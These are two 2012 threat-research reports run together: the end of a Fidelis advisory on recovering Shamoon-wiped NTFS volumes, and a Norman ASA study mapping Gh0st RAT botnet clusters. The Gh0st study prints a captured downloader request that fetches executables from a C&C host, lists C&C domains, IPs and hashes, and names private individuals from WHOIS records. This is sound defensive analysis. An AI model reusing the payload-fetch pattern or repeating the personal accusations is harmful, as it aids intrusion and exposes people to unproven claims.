This is a very important detail, as the forensic value of the VBR is substantial (See Figure 2). The area that will contain the critical information is known as the Bios Parameter Block (BPB). With this information it is possible to rebuild the file system as it existed before the wipe. Threat Advisory #1007 Rev. 2012-11-01 Copyright 2012 General Dynamics Fidelis Cybersecurity Solutions Recovering From Shamoon Page 4 of 9 www.fidelissecurity.com www.threatgeek.com @FidSecSys +1 800.652.4020 EB 52 90 4E 54 46 53 20 20 20 20 00 02 08 00 00 00 00 00 00 00 F8 00 00 3F 00 FF 00 3F 00 00 00 00 00 00 00 80 00 80 00 C0 F8 F8 0D 00 00 00 00 00 00 0C 00 00 00 00 00 8C 8F DF 00 00 00 00 00 F6 00 00 00 01 00 00 00 26 FA CA 70 02 CB 70 44 00 00 00 00 Truncated for size 00 00 55 AA EB 52 90 Instruction to jump to boot code (Not necessary for our application) 4E 54 46 53 20 20 20 20 OEM Name (NTFS 00 02 Bytes per sector, 0x0200 = 512 Bytes. Sectors per cluster = 8 Media descriptor (Not necessary for our application) C0 F8 F8 0D 00 00 00 00 Total sectors in file system, 0x00DF8F8C0 = 234420416 Sectors (Add on the sector location of VBR for actual end of the file system, in this example the VBR is at sector 63 therefore the total sectors in the file system are 234420416 + 63 = 234420479) 00 00 0C 00 00 00 00 00 Starting cluster of the MFT, 0X000C0000 = 786432 Clusters. 786432 * 8 (Cluster size) +63 (VBR Sector) = 6291519 Sectors 8C 8F DF 00 00 00 00 00 Starting cluster of the MFT mirror, 0x00DF8F8C = 14651276. 14651276 * 8 + 63 = 117210271 Sectors Size of MFT Entry, 246. Index size, 1. 26 FA CA 70 02 CB 70 44 Serial number. For more technical information on file systems and their forensic value, Brian Carrier s book File System Forensic Analysis is an invaluable tool. Fig 2. Example of a broken down BPB found within the boot sector. Just because the boot sector of the VBR is recoverable doesn t mean that everything on the file system will be restored to normal. If a file was wiped by the malware then it will still be wiped, or partially wiped. However files that weren t wiped will be much easier and faster to recover then carving and the context of each file will be easy to interpret. To recover or identify the backup VBR a search will need to be run across the image file. It is preferable if the image file is a raw image as they are easier to edit then other image file formats. The search was performed for the hex of the VBR file header, EB 52 90 4E 54 46 53 ( R NTFS). A few hits were found throughout the drive, and it appeared that there were multiple empty VBR templates throughout the system (Shown in Figure 3). The correct VBR will likely be the one with information filled in from offset 10 80 (See Figure 2 to breakdown). During testing it was found that the last hit was normally the correct VBR, as this would be the VBR found at the end of the volume. Threat Advisory #1007 Rev. 2012-11-01 Copyright 2012 General Dynamics Fidelis Cybersecurity Solutions Recovering From Shamoon Page 5 of 9 www.fidelissecurity.com www.threatgeek.com @FidSecSys +1 800.652.4020 Fig 3. Example of a blank VBR. Note: On 2003 systems the boot backup is sometimes found halfway through the partition, a manual parsing of the file will need to be performed to confirm the VBR is legitimate for the partition. Once the VBR was found we noted the offset and calculated the sector to locate the backup in our desired forensic program. For the purposes of testing we used EnCase (v6.19.6). Once the sector of the backup VBR is known, EnCase was started and the image of the infected system was loaded. Within disk view we located the backup VBR and right clicked to add a manual partition as an NTFS file system. The partition was added, the MFT read, and the file system appeared: Threat Advisory #1007 Rev. 2012-11-01 Copyright 2012 General Dynamics Fidelis Cybersecurity Solutions Recovering From Shamoon Page 6 of 9 www.fidelissecurity.com www.threatgeek.com @FidSecSys +1 800.652.4020 Fig 4. File system recovered within EnCase. With the file system restored some relevant artifacts can be located now, and an actual computer forensic examination can take place. This recovery can be successful without the use of the EnCase suite of forensic software as well. Using a hex editor of your choice to repair the image, in our testing WinHex (16.6) was used. Find the file header of the backup VBR within a file editor, copy from the header to footer of the boot sector; the footer will always be 55 AA. The size will be 512 bytes from header to footer. Then depending on what operating system is being examined you can write the copied boot sector to the appropriate sector on the affected image. Placing the boot sector into the correct location will be the trickiest part as incorrect placement will result in the file system not being recognized. The boot sector should be placed at sector 63/56 for XP/2003, and at sector 2048/206848 for Windows 7. After this is complete you will be able to add the image into the forensic program. If the file system is not recognized then it is possible that the MBR will need to be reconstructed, though this is unlikely. Before rebuilding the MBR try adding the image as a volume and not as a disk. Note: Other recovery techniques are certainly viable as well. There are automated partition rebuilding tools available, though some of these rely on a valid MBR to work properly (In this case that wouldn t be feasible). Other options would be the fixboot command from the Windows Recovery Console found on a Windows OS disk. What we have presented here are forensically sound methods that are easily repeatable and least damaging to the evidence/image. Multiple Partition Recovery Strategies For testing purposes the system with Windows 2003 was set up with three different partitions. We wanted to emulate the situation in which one would have multiple partitions on the computers, as is quite common. Conceivably the malware should wipe all of these partitions as well, as has been seen within the code of the malware. What we wanted to look at was the extent of the wiping on the partitions and whether the same techniques that were applied to a single partitioned drive would still apply on the multiple partitioned drive. In theory each partition should be recoverable, as non-bootable partitions still create a VBR and place the backup at the end of the partition when a NTFS file system is installed. After searching Threat Advisory #1007 Rev. 2012-11-01 Copyright 2012 General Dynamics Fidelis Cybersecurity Solutions Recovering From Shamoon Page 7 of 9 www.fidelissecurity.com www.threatgeek.com @FidSecSys +1 800.652.4020 through the drive we found that there were three VBRs that all seemed to have corresponding information for the partitions that were originally created. On our test system we found that EnCase was not adding the partitions in a way that would recognize the file system as it did for the other systems. This could be because our boot sector was at sector 56 and not 63, or because the multiple partitions clash when trying to add them in. We ended up having to edit the image by adding the backup boot sectors into the correct sector where the originals were found. Partition Boot Sector Placed At Backup Boot Sector 1 (Primary) 41926079 41926080 62417879 62417880 82909679 Fig 5. VBR Placement in Windows 2003 Note: The VBR placement for the next partition starts after the backup VBR of the preceding partition. Once the VBRs were added correctly we proceeded to add the partitions into EnCase. Fig 6. Reconstructed file system of a Windows 2003 operating system wiped by Shamoon. Note: EnCase gives default volume labels when added, so C, D, and E are respectively 1, 2, and The extent of the wiping appeared to be on the same level to what was found on single partitioned drives. As mentioned before this was to be expected as the malware tries to wipe mounted and other volumes first and will then move to the primary volume (1/C). Threat Advisory #1007 Rev. 2012-11-01 Copyright 2012 General Dynamics Fidelis Cybersecurity Solutions Recovering From Shamoon Page 8 of 9 www.fidelissecurity.com www.threatgeek.com @FidSecSys +1 800.652.4020 The Fidelis Take Fidelis researchers have developed a set of rules for detecting the Shamoon malware along the entire threat life cycle: initial infection, lateral propagation, and command and control communication. The embedded malware detection engine also recognizes the variant of Shamoon malware analyzed. All sensor configurations are capable of detecting the initial infection and the command and control communication, and the Fidelis XPS Internal Sensor is required for detecting the lateral movement of the malicious program. Further Reading Shamoon the Wiper Copycats at Work (2012), retrieved 26 Oct 2012 from http://www.securelist.com/en/blog/208193786/Shamoon_the_Wiper_Copycats_at_Work Shamoon the Wiper in details, Tarakanov , Dmitry (2012), retrieved 26 Oct 2012 from http://www.securelist.com/en/blog/208193795/Shamoon_the_Wiper_in_details Shamoon the Wiper in details II, Tarakanov , Dmitry (2012), retrieved 26 Oct 2012 from http://www.securelist.com/en/blog/208193834/Shamoon_The_Wiper_further_details_Part_II Shamoon, a two-staged targeted attack (2012), retrieved 26 Oct 2012 from http://blog.seculert.com/2012/08/shamoon-two-stage-targeted-attack.html Shamoon Virus Most Destructive Ever To Hit A Business, Leon Panetta Warns (2012), retrieved from http://www.huffingtonpost.com/2012/10/11/shamoon-virus-leonpanetta_n_1960113.html Carrier, Brian (2005). File System Forensic Analysis. Upper Saddle River, NJ: Pearson Education Inc. Threat Advisory #1007 Rev. 2012-11-01 Copyright 2012 General Dynamics Fidelis Cybersecurity Solutions Recovering From Shamoon Page 9 of 9 The many faces of Gh0st Rat Plotting the connections between malware attacks Snorre Fagerland, Principal Security Researcher Norman ASA Content Introduction............................................................................................................................................. 3 The variants ............................................................................................................................................. 4 Clusters and links ..................................................................................................................................... 6 Overview plot with Gh0st ..................................................................................................................... 7 Overview plot without Gh0st ............................................................................................................... 8 Example botnet infrastructure: wk1888.com ....................................................................................... 11 Example botnet infrastructure: pk39.com ............................................................................................ 16 Individual clusters.................................................................................................................................. 18 Conclusions............................................................................................................................................ 68 References ............................................................................................................................................. 69 Norman ASA 2012 Page Introduction Gh0st Rat is a well-known Chinese remote access trojan which was originally made by C.Rufus Security Team several years ago. Just as with other well-featured off-the-shelf trojans like Poison Ivy, Hupigon and DarkComet it has been used by all sorts of people from the script kiddie next door to resourceful targeted attack actors (1) Cybercriminals use off-the-shelf malware not only because it s easy and cheap. They also use it because it s hard to track. Anybody could use this malware, so the criminal could be anybody. However, this changes somewhat when they start modifying the code. The malware now becomes somewhat attributable and can be connected to known cases and criminal groups. This document is the result of examining selected common traits between some 1200+ Gh0st Rat program files (samples) with the help of Maltego, a tool to visualize data connections. The samples were processed by us in a timeframe of approximately six months, from August 2011 to February 2012. In this study we attempt to map out what logical connections do exist between different Gh0st botnet campaigns. This is important because it gives an indication of the scale of operation and sometimes what the aims of the campaigns are, and this can be valuable for risk analysis. Additional data produced by the study may be used for risk mitigation. Norman ASA 2012 Page The variants The Gh0st Rat source code (version 3.6) is freely available on the Internet, something that has made it quite popular and sparked a multitude of modifications. The resulting trojan can be hard to recognize as Gh0stRat, as attackers ditch various parts of the code that they don't need and add other functionality. In addition, the trojan is packaged in different ways standalone, glued together with other files, included in self extracting archives. It is frequently obfuscated and compressed. As a result of all this, antivirus naming is variable, to put it mildly. Most antivirus detections today are automatically generated, resulting in names thought out by machines. Quick, but containing information only machines find interesting. The most stable indicator of being faced with a Gh0stRat is its network communication. It is well documented and quite distinctive, as it always begins with a magic word which in its default configuration is Gh0st thus Gh0st Rat. Below is a typical packet (content data blurred) Fig 1 The fields are magic identifier ( Gh0st ), size of packet, size of uncompressed packet, and lz-compressed data containing information about the compromised computer. This magic tag is very easy to spot in network traffic, so the bad guys have come up with a countermeasure. They use other magics. I searched our in-house Malware Analyzer G2 (MAG2) pcaps for network traffic that matched the Gh0st packet format, and this showed about 50 different magics from the last few months. There are many more in existence some are shown in Table 2, but as we had no traffic data on these, they were not investigated. 7hero, Adobe, B1X6Z, BEiLa, BeiJi, ByShe, FKJP3, FLYNN, FWAPR, FWKJG, GWRAT, Gh0st, GOLDt, HEART, HTTPS, HXWAN, Heart, IM007, ITore, KOBBX, KrisR, LUCKK, LURK0, LYRAT, Level, Lover, Lyyyy, MYFYB, MoZhe, MyRat, OXXMM, PCRat, QWPOT, Spidern, Tyjhu, URATU, W0LFKO, Wangz, Winds, World, X6RAT, XDAPR, Xjjhj, ag0ft, attac, cb1st, https, whmhl, xhjyk Table 1. Gh0st magic tags used in this paper Norman ASA 2012 Page 00000, ABCDE, apach, Assas, Blues, chevr, CHINA, cyl22, DrAgOn EXXMM, Eyes1, Gi0st, GM110, Hello, httpx, kaGni, light, LkxCq, lvxYT, Naver, NIGHT, NoNul, Origi, QQ_124971919, Snown, SocKt, Super, Sw@rd, v2010, VGTLS, wcker, Wh0vt, wings, X6M9K, xqwf7, YANGZ Table 2. Known Gh0st magics not investigated in this paper. The length of the magic is by default 5 bytes, but this is not the case for all variants. In Table 1 there are magics with non-standard length Spidern and W0LFKO and we have seen others that were not included in this investigation, like DrAgOn and QQ_124971919 The Spidern variant is non-standard in another way as well. It does not compress its network traffic, something most other Gh0st do. However, when looking at the code in the disassembler IDA Pro, the code relationship is clearly visible. Fig 2 Spidern vs Gh0st comparison Norman ASA 2012 Page Clusters and links Clusters are composed of samples that share common traits. Usually this will be common magic tag, but this is not always the case. Sometimes clusters can form around other parameters, such as common command & control (C&C) infrastructure. Logical links between clusters occur when samples, infrastructure components or other factors exhibit traits that belong in more than one cluster. For example, a sample with a magic of cb1st obviously belongs in the cb1st cluster, but if the C&C server it connects to also accepts connections from samples using the magic whmhl , then there is a logical link between the cb1st and whmhl clusters. The strength of such links varies, as there always are possible sources of error which are difficult to map out fully. Such uncertainties can be to what extent is a malware variation shared or sold, or to what extent is command & control infrastructure hired out or shared. Because of these uncertainties, we will only point out where links do exist, without offering hard conclusions. Norman ASA 2012 Page Overview plot with Gh0st Fig 3 Overview with the Gh0st cluster This mosquito swarm consists of trojan files, interconnected primarily by their magic tag, but also by whatever other factor shared with other samples which C&C server they dial back to, and sometimes which IP address this resolves to. The large kludge in the middle is the default Gh0st group totaling 522 nodes. A better overview is perhaps gained by removing the Gh0st cluster from the graph, as it is the default configuration and not usable for connecting clusters. Doing so results in a smaller set of more distinct clusters, where the connections are more visible. Norman ASA 2012 Page Overview plot without Gh0st Fig 4 Overview without the Gh0st cluster The clusters that link together form clusters of clusters. Stealing unashamedly from astronomy, let s call these superclusters. How such superclusters are linked together is detailed in the chapters that cover individual clusters later in this paper. Norman ASA 2012 Page Supercluster one This collection of linked clusters contain some of the most populous in the whole set. They are linked through the usage of the same C&C servers, through the same malware, and through the same observed network traffic. The links running through the PCRat cluster are dotted red as they are presumably weaker than the others. Norman ASA 2012 Page Supercluster two Supercluster two contains some small and medium size nodes, and indeed one cluster, IM007, that has no registered samples in this sample set. Some samples from these clusters have exhibited behavior indicating that they have been used in connection with game account theft. Norman ASA 2012 Page | 10 Example botnet infrastructure: wk1888.com A large amount of samples connected to www.wk1888.com. This host accepted connections from at least two botnet clusters Gh0st on port 8000, and cb1st on port 8181. We have also seen Gh0st samples attempting to connect on port 8080 without being able to establish communication. This multi-botnet support appears usually to be related to timing. Based on the header timestamp of the trojan files, the port 8181 cb1st samples were predominantly created MayJune 2011, while the port 8000 Gh0st samples were created Sept-Oct 2011. Compile timeline for binaries connecting to wk1888.com 25.09.2011 Gh0st (5x) 05.06.2011 cb1st (35x) 31.05.2011 cb1st (23x) 18.09.2011 Gh0st (5x) 14.06.2011 cb1st (1x) 12.06.2011 cb1st (42x) 01.06.2011 01.07.2011 29.09.2011 Gh0st (10x) 28.09.2011 Gh0st (9x) 22.09.2011 Gh0st (5x) 02.09.2011 cb1st (1x) 01.08.2011 01.09.2011 01.10.2011 03.10.2011 Gh0st (9x) 10.11.2011 Gh0st (1x) 01.11.2011 01.05.2011 01.12.2011 WK1888.COM has resolved to many IP addresses over time, all belonging to Krypt Technologies [AS 35908], a US-based VPS hosting service. At the time of writing the IP is 174.139.51.150. The same WHOIS info points to the domains af0575.com and fz0575.com, both associated with earlier Gh0st Rat samples, and to the domains wt1888.com and 81266966.com. Norman ASA 2012 Page | 11 The wk1888.com host ran at one point a webserver on port 2011 where it hosted download information and more executables to download. A sample which used this functionality was a downloader executable (md5 b6e900f8a14740aa6ad3e755dc2d14bb), which performed the transaction below: GET /1.txt?abc=78823 HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET4.0C; .NET4.0E) Host: www.wk1888.com:2011 Connection: Keep-Alive HTTP/1.1 200 OK Content-Length: 69 Content-Type: text/plain Last-Modified: Tue, 15 Nov 2011 12:02:04 GMT Accept-Ranges: bytes ETag: "d446d6638ea3cc1:276" Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Wed, 16 Nov 2011 01:26:05 GMT hxxp://www.wk1888.com:2011/1.exe hxxp://www.wk1888.com:2011/xf80.exe The 1.exe file (md5 00118d190f8a30e6dc70b394e603d155) is a Gh0st trojan of the cb1st cluster, connecting back to wk1888.com on port 8181. The xf80.exe file is a DarkShell DDOS trojan (md5 d47e37178c0d5b8780b97ce4e7c0e06b). Similar functionality was seen on wt1888.com (e.g. 68fdd8adf91308cf35a2e86b15ce6cdd) (2), and on 81266966.com. The latter hosted downloader and DDOS trojans that connected back to wk1888.com (3) Norman ASA 2012 Page | 12 Attribution wk1888.com The WHOIS information for wk1888.com is as follows: WK1888.COM Administrative Contact: meng, meng 1377887494@qq.com east china jiaotong university nanchang, jiangxi 330013 China The same registration information is used for the domains 81266966.COM, WT1888.COM, FZ0575.COM and AF0575.COM. Googling the email address 1377887494@qq.com shows that it is also used to register the domain boyul.com , but with different address/phone information. BOYUL.COM Administrative Contact: wenyan zhong 1377887494@qq.com telephone: +86.051052478530 : +86.051052478531 jiangsu wuxi hehuali wuxi jiangsu 214000 Boyul.com resolves at the time of writing to the IP 174.139.63.18, which also belongs to Krypt Technologies and has historically even been resolved to by wk1888.com. The data (phone/address) used to register boyul.com match literally thousands of other domain registrations: HON168.COM, 1585GB.COM, ZJHD518.COM, 17173CGW.COM etc. The QQ address 1377887494 is used in several advertisements on the hacking forum my3800.com (Central China Honker Security): GH0ST QQ:1377887494 Translation: Selling undetected GH0ST kits. A package of 50 zombie machines (chicken) comes included, for 200 yuan (ca 35 USD) a month. Rent zombie machines pr day or pr month, contact me Norman ASA 2012 Page | 13 The QQ number is also found on the forum beishan.info (4), where the poster complains about problems with the registration of the domain www.sock8.com, which he claims he has bought from a registered seller on taobao.com. Taobao is the Chinese version of eBay. This post was made May 27th 2011. The WHOIS info for the sock8.com domain shows that May 19th it was apparently reclaimed by Netfirms and returned to a parking IP. Before this, the domain was registered by one bingxian feng Administrative Info: bingxian feng bingxian feng jiangmen, NA 529700 China Phone: +1.102251166 Fax..: Email: a916196832@yahoo.com Last modified: 2011-04-11 11:47:43 GMT In the period from the domain was registered by Bingxian Feng April 11th to its apparent seizure in May a number of Ghost trojans surfaced which connected to the sock8 domain. These had an apparent compile date April 12th and 13th. Googling for Feng s email address in the WHOIS shows that it is used for registering literally hundreds of domains. Not only that, but it turns out that this player is well known domestically in China (5), where this person allegedly has been involved in pornography, mobile phone scams, game theft, and phishing attacks against among others People s bank of China. Norman ASA 2012 Page | 14 There are several cyberpolice departments (also known as Net Cop ) in China, organized by regions. Norman ASA 2012 Page | 15 Example botnet infrastructure: pk39.com This domain is the second of the two main hubs controlling the cb1st cluster. As previously mentioned ddos.pk39.com also operates C&C for the whmhl cluster, and the host down.pk39.com has acted as download server for other malware, typically DDOS trojans of various kinds. The Gh0st trojans dialing home to www.pk39.com were with few exceptions created Jan 13th 2011. Compile timeline for binaries connecting to pk39.com 20.02.2011 cb1st (1x) 13.01.2011 cb1st (16x) 21.08.2011 cb1st (1x) 01.02.2011 01.03.2011 01.04.2011 01.05.2011 01.06.2011 01.07.2011 01.08.2011 01.01.2011 01.09.2011 Attribution pk39.com Its WHOIS information is as follows: PK39.COM Administrative Contact: Name : zheng xuming Organization : zheng xuming Address : leqing huayuan lukou City : xianggangtebiexingzhengqu Province/State : xianggangtebiexingzhengqu Country : xianggangtebiexingzhengqu Email : 924539333@qq.com The email 924539333@qq.com shows up a number of places through Google. One interesting reference is found on the site www.kissqc.com, which just says: Norman ASA 2012 Page | 16 This is not the only defacement attributable to C his name is found several places in similar fashion. He also appears to use another handle frequently associated with hacking. These handles appear to match the online profile of a male in his mid-twenties, living in Changzhou in the Jiangsu province of China. He appears to be involved in many other projects, from Android development to network security tools. The word Ghost is ironically used in a lot of his projects. Norman ASA 2012 Page | 17 Individual clusters What follows is a listing and description of the individual botnet clusters. This is fairly lengthy, so feel free to skip to Conclusion towards the end of the document. Some explanation to the individual cluster graphs to come: Brown nodes are samples Blue nodes are malware families (i.e. usually Gh0st variants) Yellow nodes are C&C servers (hardcoded IP or DNS name) Purple nodes are resolved IP addresses Norman ASA 2012 Page | 18 Cluster: 7hero The 7hero cluster has two samples in the set. It is linked with the PCRat cluster through the shared IP address 61.147.123.11 between the PCRat server at 429861812.3322.org and the 7hero C&C server at z429861812.3322.org. This could have been a coincidence - however, they both also connected at port 4928, something that only these two samples in the whole test set did. z429861812.3322.org is also used as C&C for samples in the Gh0st cluster. Norman ASA 2012 Page | 19 Cluster: Adobe The Adobe cluster contains one sample, and appears not linked with other clusters. Norman ASA 2012 Page | 20 Cluster: ag0ft The ag0ft cluster contains one sample, and appears not linked with other clusters. Norman ASA 2012 Page | 21 Cluster: attac The attac cluster contains one sample, and is linked with the Xjjhj cluster through shared C&C at junfang21.3322.org. This C&C server has also served as C&C for Netbot Attacker DDOS bots. Norman ASA 2012 Page | 22 Cluster: B1X6Z The B1X6Z cluster contains one sample, and appears not linked with other clusters. Norman ASA 2012 Page | 23 Cluster: BeiJi The BeiJi cluster contains five samples. Two of these samples connect to hong546049008.3322.org, a server which is shared with the IM007 cluster. Norman ASA 2012 Page | 24 Cluster: BEiLa This cluster contains 5 samples and is linked with the IM007 cluster through observed traffic from the C&C server aa6688519.3322.org. Norman ASA 2012 Page | 25 Cluster: ByShe The ByShe cluster is interesting, as it has been documented used in targeted attacks against Tibetan groups (6) and also connected with the Nitro attacks (7). Five samples exist in this cluster, though no other clusters links with it. Norman ASA 2012 Page | 26 Cluster: cb1st The cb1st cluster is one of the larger, with 154 samples. The major C&C s here are www.wk1888.com and www.pk39.com. The wk1888.com host also acts as C&C for many samples in the Gh0st cluster. cb1st is linked with the KrisR, XDAPR and FKJP3 clusters through the C&C at daduji.3322.org. The www.pk39.com host links cb1st with the whmhl cluster through observed traffic (see whmhl). Norman ASA 2012 Page | 27 Cluster: FKJP3 There is only one sample in this cluster. Through its C&C at daduji.3322.org it links to KrisR, XDAPR and cb1st clusters. Norman ASA 2012 Page | 28 Cluster: FLYNN The FLYNN cluster consists of 6 samples. It is linked with the KrisR cluster because of common C&C at 118.126.16.86 and observed traffic returning FLYNN to a KrisR sample. Host Port Outgoing Incoming 919a4d03cc9dde709b0f2b05a082b179 haidishijie.3322.org 118.126.16.86 8888 KrisR Gh0st 5217f4148fcfabee2791611cfce27997 sr887.3322.org 118.126.16.86 6666 FLYNN FLYNN a28d90a77ae2d8977c31329b1e396f2f sr887.3322.org 118.126.16.86 6666 FLYNN FLYNN 3db213a3f5df462c8bb6cf896af63d28 haidishijie.3322.org 118.126.16.86 6666 KrisR FLYNN 500f7f5f27ee2e4652204313dc2fcb91 haidishijie.3322.org 118.126.16.86 8888 KrisR Gh0st Norman ASA 2012 Page | 29 Cluster: FWAPR The FWAPR cluster contains one sample, and appears not linked with other clusters. Norman ASA 2012 Page | 30 Cluster: FWKJG The FWKJG cluster contains one sample, and appears not linked with other clusters. Norman ASA 2012 Page | 31 Cluster: Gh0st The Gh0st cluster is by far the largest with 522 samples in the test set. Since this is the default configuration, not much relational information can be inferred from it, even if it shares links with many of the other clusters. Norman ASA 2012 Page | 32 Cluster: GOLDt The GOLDt cluster contains one sample, and appears not linked with other clusters. Norman ASA 2012 Page | 33 Cluster: GWRAT The GWRAT cluster contains one sample, and is linked to the MoZhe cluster through returned traffic from its C&C server oa9188.3322.org. Norman ASA 2012 Page | 34 Cluster: HEART There are 7 samples in the HEART cluster. HEART links with KOBBX through common C&C at gyxa.3322.org. It also links with the PCRat cluster through a common IP at 60.190.219.234. Norman ASA 2012 Page | 35 Cluster: Heart The Heart cluster consists of 26 samples, and is connected with the main Gh0st cluster through the C&C at wangyanlei.3322.org. Some of these samples (the ones connecting to in1987.3322.org and saaip.3322.org) use uncompressed communication, which is unusual for Gh0st Rat. Norman ASA 2012 Page | 36 Cluster: HTTPS There are two samples in this cluster, but we see no further links with other clusters. Norman ASA 2012 Page | 37 Cluster: https The https cluster contains one sample, and appears not linked with other clusters. Norman ASA 2012 Page | 38 Cluster: HXWAN The HXWAN cluster consists of 14 samples. It is linked with the KrisR, Lyyyy and XDAPR clusters (See KrisR). Norman ASA 2012 Page | 39 Cluster: IM007 The IM007 cluster surprisingly contains no samples. The reason it exists at all is that we have logged several C&C servers replying with this magic tag, so it is a reasonable assumption that there must exist samples that follow this protocol. The servers we have seen with this behavior have been used by the BeiJi, BEiLa and Wangz clusters, thus linking these. In at least two cases we have seen samples from these clusters showing images of Dungeon Fighter Online virtual items when run, apparently as a lure for game account theft. Bamboo Bracelet, an expensive ingame item in DFO. Norman ASA 2012 Page | 40 Cluster: ITore The ITore cluster appears unconnected to other clusters. The executables are significantly different from other Gh0st Rats and may be another family altogether, even if the communication is similar. Norman ASA 2012 Page | 41 Cluster: KOBBX The KOBBX cluster consists of 13 samples in the set. It is linked with the HEART cluster through the common C&C at gyxa.3322.org, and to the LUCKK cluster through miscommunication from wjdl.3322.org. Norman ASA 2012 Page | 42 Cluster: KrisR The KrisR cluster consists of 205 samples. The magic tag is actually KrisRat , but the tag is truncated in traffic to the regular first 5 bytes. By far most samples connect back to haidishijie.3322.org, but many other C&C s are in use. This cluster links with: FLYNN: see FLYNN Gh0st: f. ex. haidishijie.3322.org returned Gh0st in all cases when receiving KrisR on port 8888 HXWAN: common C&C at ssky.8866.org Lyyyy: common C&C at ssky.8866.org XDAPR: common C&C at ssky.8866.org cb1st: common C&C at daduji.3322.org FKJP3: common C&C at daduji.3322.org Norman ASA 2012 Page | 43 Cluster: Level The Level cluster consists of two samples. It appears unlinked with other clusters. Norman ASA 2012 Page | 44 Cluster: Lover The Lover cluster consists of two samples. It appears unlinked with other clusters. Norman ASA 2012 Page | 45 Cluster: LUCKK The LUCKK cluster consists of four samples in the set. It is linked with the KOBBX cluster though communication (see KOBBX). Norman ASA 2012 Page | 46 Cluster: LURK0 The LURK0 cluster consists of four samples in the set. This cluster was documented as connected with the SK Communications breach in South Korea in 2011 (8), and has been seen used against Tibetan groups (9), (10). It is also linked with the OXXMM cluster through the usage of a common C&C at the hardcoded IP 218.28.72.138. Norman ASA 2012 Page | 47 Cluster: LYRAT The LYRAT cluster consists of four samples. It appears unconnected with other clusters. Norman ASA 2012 Page | 48 Cluster: Lyyyy The Lyyyy cluster consists of 4 samples. It is linked with the KrisR, HXWAN and XDAPR clusters (See KrisR). Norman ASA 2012 Page | 49 Cluster: MoZhe This cluster consists of 87 samples. Most of these connect back to b2bweb.3322.org. MoZhe is linked with X6RAT: common C&C at ingalar.3322.org Winds: common C&C at hkl8973875.3322.org Additional links are seen through observed traffic. GWRAT: The GWRAT C&C oa9188.3322.org replies with MoZhe (See GWRAT) KrisR: The MoZhe C&C at ingalar.3322.org replies with KrisR: Norman ASA 2012 Page | 50 Cluster: MYFYB The MYFYB cluster contains three samples. It does not appear connected with other clusters. Norman ASA 2012 Page | 51 Cluster: MyRat The MyRat cluster contains two samples. It appears unconnected with other clusters. Norman ASA 2012 Page | 52 Cluster: OXXMM The OXXMM cluster contains eight samples. It connects with the Gh0st main cluster through common C&C at a6422563.vicp.net and to the LURK0 cluster through common C&C at 218.28.72.138. Norman ASA 2012 Page | 53 Cluster: PCRat This cluster contains 25 samples, and is linked with the HEART cluster (see HEART), the 7hero cluster (see 7hero) as well as the main Gh0st cluster through the common C&C at tajs.3322.org. It is also linked to the Winds cluster through common C&C at mstsc5.3322.org. PCRat samples have been documented used against Uyghur groups (11). It is debatable how valid the PCRat connections are. There is apparently a commercially available modification of Gh0st rat called PCRat, which we have not yet seen copies of. If that kit uses the PCRat magic tag as there is reason to suspect, this cluster is of little value. Norman ASA 2012 Page | 54 Cluster: QWPOT The QWPOT cluster contains only one sample. It is connected to the Xjjhj and Gh0st clusters through its C&C at s17178.3322.org. Norman ASA 2012 Page | 55 Cluster: Spidern The Spidern cluster consists of five samples. It appears unconnected to other clusters. Norman ASA 2012 Page | 56 Cluster: Tyjhu The Tyjhu cluster contains seven samples. It is connected to the Winds cluster through common C&C at troyok.3322.org. Norman ASA 2012 Page | 57 Cluster: URATU The URATU cluster contains three samples. It appears unconnected with other clusters. However, recently it has been connected with attacks on Nepalese Government websites (12). Norman ASA 2012 Page | 58 Cluster: W0LFKO The W0LFKO cluster consists of one sample. It is linked to the Wangz cluster by the C&C a1019500182.3322.org which replies W0LFKO when connection is attempted. Norman ASA 2012 Page | 59 Cluster: Wangz There are eight samples in the Wangz cluster. Wangz links with W0LFKO (see W0LFKO), IM007 (see IM007) clusters, and also with Xjjhi cluster through observed communication from the Wangz C&C a6603892.gicp.net. Norman ASA 2012 Page | 60 Cluster: whmhl The whmhl cluster consists of 9 samples; actually only 8 are Gh0stRats. The last sample is a DarkShell ddos bot. It is included because it links this cluster with another. The DarkShell bot connected to ddos.pk39.com on port 5566. This resolved to the same IP as www.pk39.com, the C&C server for the cb1st cluster. The pcap from this connection reveals that ddos.pk39.com replies with whmhl . Gotcha. Norman ASA 2012 Page | 61 Cluster: Winds The Winds cluster encompasses 21 samples. It is linked with the Tyjhu cluster (see Tyjhu), the PCRat cluster (see PCRat) and the MoZhe cluster (see MoZhe). Norman ASA 2012 Page | 62 Cluster: World The World cluster consists of seven samples. Samples in this cluster all give the impression that they use hardcoded IP addresses for their C&C communication. This is because the real C&C ip is not stored in the executable, but exists base64 encoded in a text file downloaded from a remote site. Thus these files are shown with two C&C connections. This cluster does not seem linked with other clusters. However, there is a strong resemblance between these samples and some samples in the Wangz cluster (e.g. c577b5a8d07982a2c6c42a7352c0cef8). Norman ASA 2012 Page | 63 Cluster: X6RAT The X6RAT cluster consists of one sample. It is linked to the MoZhe cluster (see MoZhe) and Gh0st. Norman ASA 2012 Page | 64 Cluster: XDAPR The XDAPR cluster contains 28 samples. It is linked with the KrisR, HXWAN, cb1st, FKJP3 and Lyyyy clusters. (See KrisR). Norman ASA 2012 Page | 65 Cluster: xhjyk The xhjyk cluster consists of one sample. Its C&C server, wo379733061.3322.org, is used by another sample (MD5 2f463a39c10d507b4295e16b7b4e0033) which also connects to wk1888.com, the C&C for Gh0st and the c1bst clusters. It s also worth noting that one of the s for the KrisR cluster is wo379733063.3322.org only one digit different from this C&C, and corroborates the impression that the KrisR and cb1st clusters are connected. Norman ASA 2012 Page | 66 Cluster: Xjjhj The Xjjhj cluster contains 19 samples. It is linked with the Wangz, attac and QWPOT clusters. Norman ASA 2012 Page | 67 Conclusions This study shows the presence of several logical links between different Ghost campaigns: Links between malware type (in this case illustrated by the network protocol magic tag), links in the C&C infrastructure and to some extent links in the registration information. Due to the necessary scope limitation, many other links had to remain unexamined. However, the present work shows that some of the most active and prolific malware campaigns share enough connections indicate that the same groups or individuals are involved. In the cases where we have been able to say something about the entities responsible for the attacks, it seems apparent that the persons involved can be considered career criminals. These are people that have their hand in many different types of online crime, have been doing it for quite some time, and often target victims inside China itself. Smaller clusters are in many ways more interesting. They are often more difficult to track, as they obviously leave less clues as to who is behind the attack and what the purpose is. Clusters that have been involved in targeted attacks typically belong to these. Norman ASA 